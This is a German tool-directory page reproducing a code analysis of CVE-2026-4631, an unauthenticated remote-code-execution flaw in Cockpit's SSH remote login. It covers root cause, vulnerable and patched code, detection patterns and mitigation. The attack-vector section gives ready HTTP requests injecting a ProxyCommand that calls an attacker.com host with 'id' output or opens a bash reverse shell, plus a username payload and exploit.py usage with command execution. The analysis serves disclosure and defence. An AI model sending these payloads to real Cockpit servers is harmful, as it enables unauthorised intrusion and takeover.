Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion | Kitploit
Tools/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion

Repository anzeigen
146vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-4631 — Code-Analyse

Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion

FeldDetail
CVE-IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SchweregradKritisch (CVSS 9.8)
Betroffene VersionenCockpit 327 – 359
Behoben inCockpit 360
CWECWE-78: OS-Befehlsinjektion
Authentifizierung erforderlichNEIN
Gemeldet vonJelle van der Waa

Inhaltsverzeichnis

  1. Überblick über die Schwachstelle
  2. Architekturhintergrund
  3. Ursachenanalyse
  4. Verwundbarer Code — Datei für Datei
  5. Angriffsvektoren
  6. Datenflussdiagramm
  7. Patch-Analyse
  8. Erkennung
  9. Referenzen

1. Überblick über die Schwachstelle

Die Remote-Login-Funktion von Cockpit übergibt vom Benutzer bereitgestellte Hostnamen (aus dem URL-Pfad) und Benutzernamen (aus dem Authorization: Basic-Header) direkt an die OpenSSH-ssh-Binärdatei, ohne jegliche Validierung oder Bereinigung.

Ein nicht authentifizierter Angreifer mit Netzwerkzugriff auf Port 9090 kann eine einzelne HTTP-Anfrage erstellen, die:

  • Beliebige SSH-Optionen über das Hostname-Feld injiziert (-oProxyCommand=<cmd>)
  • Shell-Befehle über das Benutzername-Feld injiziert, indem die %r-Token-Erweiterung von SSH ausgenutzt wird

Beide Injektionspunkte greifen vor Abschluss der Anmeldedatenüberprüfung, was bedeutet, dass kein gültiger Login erforderlich ist.


2. Architekturhintergrund

Normaler Remote-Login-Ablauf

Auth-flow

Was sich in Version 327 geändert hat

Vor Version 327 verwendete Cockpit eine dedizierte C-Binärdatei namens cockpit-ssh (basierend auf libssh) für Remote-Verbindungen. Ab Version 327 wurde diese ersetzt durch:

root@kitploit:~
python3 -m cockpit.beiboot

welches den System-OpenSSH-ssh-Client aufruft. Diese Änderung führte die Schwachstelle ein, da der neue Codepfad benutzergesteuerte Werte ohne Bereinigung direkt an ssh übergibt.


3. Ursachenanalyse

Problem 1 — Kein ---Trennzeichen vor dem Hostnamen

Der SSH-Client interpretiert Argumente, die mit - beginnen, als Optionen, nicht als Hostnamen, es sei denn, ein ---Trennzeichen steht davor. Ohne -- wird jeder Hostname, der mit - beginnt, als SSH-Flag geparst.

Verwundbare Konstruktion:

root@kitploit:~
ssh [Optionen] <Hostname> <Remote-Befehl>

Sichere Konstruktion:

root@kitploit:~
ssh [Optionen] -- <Hostname> <Remote-Befehl>

Problem 2 — Keine Eingabevalidierung

Weder cockpit-ws (C-Code) noch cockpit.beiboot (Python-Code) validiert oder bereinigt:

  • Den aus dem URL-Pfad extrahierten Hostnamen
  • Den aus dem Authorization: Basic-Header extrahierten Benutzernamen

Problem 3 — Python-argparse-Bug (CPython #66623)

Ein bekannter CPython-Bug führt dazu, dass argparse Argumente, die mit - beginnen und Leerzeichen enthalten, falsch behandelt und sie als Positionsargumente statt als Flags interpretiert. Dadurch kann ein -oProxyCommand=evil command-Hostname die Python-Argumentanalyse passieren und als Option an ssh gelangen.


4. Verwundbarer Code — Datei für Datei

4.1 src/cockpit/beiboot.py — Primärer Injektionspunkt

Dies ist die kritischste Datei. Die Funktion via_ssh() erstellt die Argumentliste für den SSH-Befehl.

Verwundbarer Code (vor dem Patch)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

Wie der resultierende SSH-Aufruf aussieht

Mit dest = "-oProxyCommand=curl http://attacker.com/id":

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← Cockpit-Option
arg2: -oProxyCommand=curl http://...   ←  ALS SSH-OPTION GEPARST (nicht Host)
arg3: python3 -ic '# cockpit-bridge'   ← wird zum "Hostnamen" → löst ProxyCommand aus

Behobener Code (Version 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — C-Ebene: Hostnamen-Extraktion

Diese C-Datei übernimmt die anfängliche HTTP-Anfrageanalyse und startet den Beiboot-Prozess.

Hostnamen-Extraktion aus der URL (ohne Validierung)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

Der zurückgegebene Hostname wird direkt als Argument beim Starten von Beiboot übergeben:

root@kitploit:~
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

Behoben in Version 360

root@kitploit:~
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Benutzernamen-Extraktion aus dem Authorization-Header (ohne Validierung)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Dritter Injektionspunkt

Die gebündelte ferny-Bibliothek (für SSH-Interaktion) weist dieselbe ---Auslassung in ihrem Subprocess-Aufruf auf.

Verwundbarer Code (vor dem Patch)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

Behobener Code (Version 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — Container-Bereitstellungspfad

Dieses Skript ist der Authentifizierungsbefehl, der in Docker-/Container-basierten Cockpit-Bereitstellungen verwendet wird.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

Dies ist ein separater Einstiegspunkt vom Hauptpfad beiboot.py, was bedeutet, dass Container-Bereitstellungen von Cockpit unabhängig verwundbar sind, selbst wenn der Hauptcodepfad gepatcht wurde.


5. Angriffsvektoren

Vektor 1 — Hostname → ProxyCommand-Injektion

Voraussetzung: OpenSSH < 9.6 auf dem Cockpit-Host (OpenSSH 9.6 führte eine frühzeitige Hostnamen-Validierung ein, die Shell-Metazeichen blockiert).

HTTP-Anfrage:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

Dekodierte Authorization: invalid:invalid — jeder Wert funktioniert.

So funktioniert es:

  1. cockpit-ws extrahiert -oProxyCommand=<COMMAND> aus dem URL-Pfad als "Hostnamen"
  2. beiboot's via_ssh() erstellt: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'
  3. SSH parst -oProxyCommand=<COMMAND> als Option (nicht als Host)
  4. SSH verwendet python3 -ic '# cockpit-bridge' als Hostnamen
  5. SSH führt <COMMAND> als ProxyCommand aus, wenn eine Verbindung zu diesem "Hostnamen" hergestellt wird
  6. <COMMAND> läuft als Benutzer des cockpit-ws-Prozesses

Beispiel — OOB-Callback:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

Dekodiertes ProxyCommand: curl http://attacker.com/id``

Beispiel — Reverse Shell:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

Dekodiertes ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


Vektor 2 — Benutzername → %r-Token-Injektion

Voraussetzung: Die ssh_config des Ziels enthält eine Match exec-Direktive, die das %r-Token (Remote-Benutzername) verwendet.

Beispiel für eine verwundbare ssh_config:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTP-Anfrage:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

Dekodierte Authorization: x; touch /tmp/pwned; #:invalid

Extrahierten Benutzername: x; touch /tmp/pwned; #

So funktioniert es:

  1. SSH erweitert %r mit dem Benutzernamen, bevor der Match exec-Befehl ausgeführt wird
  2. Die Shell empfängt: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. Die Shell interpretiert Semikolons: führt touch /tmp/pwned aus und ignoriert dann den Rest
  4. SSH lehnt das Benutzernamenformat später ab — aber der Befehl wurde bereits ausgeführt

6. Datenflussdiagramm

Auth-bypass


7. Patch-Analyse

Der Fix ist minimal — das Hinzufügen von -- (dem POSIX-End-of-Options-Trennzeichen) vor dem Zielargument an jeder Stelle, an der SSH aufgerufen wird.

Patch 1 — src/cockpit/beiboot.py (Commit 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

Patch 2 — src/ws/cockpitauth.c (Commit 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Patch 3 — vendor/ferny/src/ferny/session.py (Commit 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

Warum -- das Problem behebt

Das ---Token teilt Argumentparsern (sowohl Pythons argparse als auch dem OpenSSH-Optionsparser) mit, dass alle nachfolgenden Token Positionsargumente sind, keine Optionen. Nach -- wird ein Wert wie -oProxyCommand=evil als literale Hostnamen-Zeichenfolge behandelt, die SSH dann als ungültig ablehnt — es wird nie etwas ausgeführt.


8. Erkennung

Erkennung auf Netzwerkebene

Suchen Sie nach HTTP-Anfragen an den Login-Endpunkt von Cockpit, bei denen die Pfadkomponente SSH-Optionssyntax enthält:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Achten Sie insbesondere auf:

  • -oProxyCommand= im URL-Pfad (Vektor 1)
  • Semikolons im dekodierten Wert von Authorization: Basic (Vektor 2)

Protokoll-Erkennung (journald)

root@kitploit:~
# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"

Versionsprüfung

root@kitploit:~
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies

9. Angriffsvektoren

Einzelnes Ziel scannen

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

Mehrere Ziele aus Datei scannen

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

Mit OOB erkennen

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

Angriffsvektor 1 — Benutzername → %r-Token-Injektion

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

Schadensbegrenzung (falls ein Patch nicht sofort möglich ist)

Fügen Sie zu /etc/cockpit/cockpit.conf hinzu:

root@kitploit:~
[WebService]
LoginTo = false

Dies deaktiviert die Remote-Login-Funktion vollständig und verhindert, dass der Beiboot-Codepfad ausgelöst wird.


10. Referenzen

RessourceURL
OSS-Security-Offenlegunghttps://www.openwall.com/lists/oss-security/2026/04/10/5
GitHub-Sicherheitshinweishttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzilla-Problemhttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
Fix-Commit (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Fix-Commit (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython-argparse-Bughttps://github.com/python/cpython/issues/66623
OpenSSH-9.6-Hostnamen-Validierunghttps://github.com/openssh/openssh-portable/commit/7ef3787
Tool herunterladen